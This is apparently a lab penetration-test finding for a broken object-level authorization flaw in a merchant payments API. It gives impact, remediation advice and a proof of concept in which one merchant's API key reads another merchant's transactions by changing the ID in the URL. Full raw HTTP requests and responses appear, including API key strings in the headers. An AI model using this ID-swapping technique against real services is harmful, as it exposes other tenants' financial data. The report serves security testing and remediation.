Vulnerability
[FAIL] Broken Object Level Authorization - Merchant Payments - Payments By Merchant
Description
The /api/v1/payments/merchant_id/<merchant_id> endpoint returns a list of payments based on the merchant_id in the path without checking that the caller's API key actually belongs to that merchant. The check only confirms the API key is valid, not that the caller is entitled to the requested object.
Impact
Confidentiality (High): cross-tenant isolation violation. Any registered merchant can read another merchant's transactions simply by changing merchant_id, exposing competitors' sales data and transaction values. merchant_id is a sequential integer, so every tenant can be harvested systematically.
CWE
CWE-639: Authorization Bypass Through User-Controlled Key
OWASP
A01:2021 - Broken Access Control
Scenario
Normal: VictimShop reads its own payment list using its own API key. Exploitation: EvilShop calls the same endpoint with VictimShop's merchant_id using EvilShop's API key -> HTTP 200 and VictimShop's 77.0 transaction is readable.
Endpoint
GET http://127.0.0.1:5001/api/v1/payments/merchant_id/<merchant_id>
Affected feature
Merchant payments (per-merchant transaction summary)
Remediation
- Ignore merchant_id from the path; derive the merchant from the API key that authenticates the request.
- If the parameter is still required, reject requests where merchant_id does not match the merchant owning the API key.
- Use random identifiers for merchants.
- Remove the debug_info block that reflects the caller's API key in the response.
Proof of concept
- (Screenshot 1) NORMAL: VictimShop reads its own payments with its own API key -> succeeds.
- (Screenshot 2) CIA IMPACT: EvilShop uses its own API key to read VictimShop's merchant_id -> HTTP 200, the 77.0 transaction belonging to another merchant is exposed.
The complete record
LAB All targets are lab systems. Nothing here is a client engagement. Evidence is shown as recorded; secrets are blacked out.
HTTP request
GET /api/v1/payments/merchant_id/3 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
X-Merchant-Api-Key: vk_b6be463f6999751d74c53b68865247ce565e003583579498f2537892bc13c69a
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 795
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:10 GMT
{
"debug_info": {
"looked_up_by_merchant": {
"api_key": "[REDACTED-LAB-VALUE]",
"auth_method": "api_key",
"created_at": "2026-09-30 03:02:10.036422",
"email": "[REDACTED-EMAIL]",
"id": 3,
"is_active": true,
"name": "None"
}
},
"merchant_id": 3,
"payments": [
{
"amount": 77.0,
"authorization_code": null,
"card_id": null,
"card_number": null,
"created_at": "2026-09-30 03:02:10.070155",
"currency": "USD",
"failure_reason": "invalid_card_number",
"id": 1,
"merchant_id": 3,
"merchant_name": "None",
"merchant_order_id": null,
"payment_status": "failed"
}
],
"status": "success"
}
HTTP request
GET /api/v1/payments/merchant_id/3 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
X-Merchant-Api-Key: vk_f69b0e3717c397d562c3d2a419895ef63413a5ba0636da66ac2039fbd70fd211
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 793
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:11 GMT
{
"debug_info": {
"looked_up_by_merchant": {
"api_key": "[REDACTED-LAB-VALUE]",
"auth_method": "api_key",
"created_at": "2026-09-30 03:02:10.043652",
"email": "[REDACTED-EMAIL]",
"id": 4,
"is_active": true,
"name": "None"
}
},
"merchant_id": 3,
"payments": [
{
"amount": 77.0,
"authorization_code": null,
"card_id": null,
"card_number": null,
"created_at": "2026-09-30 03:02:10.070155",
"currency": "USD",
"failure_reason": "invalid_card_number",
"id": 1,
"merchant_id": 3,
"merchant_name": "None",
"merchant_order_id": null,
"payment_status": "failed"
}
],
"status": "success"
}
← Previous case: Broken Object Level Authorization - Merchant Payments - Payment By ID Next case: Broken Object Level Authorization - Users - User Detail API →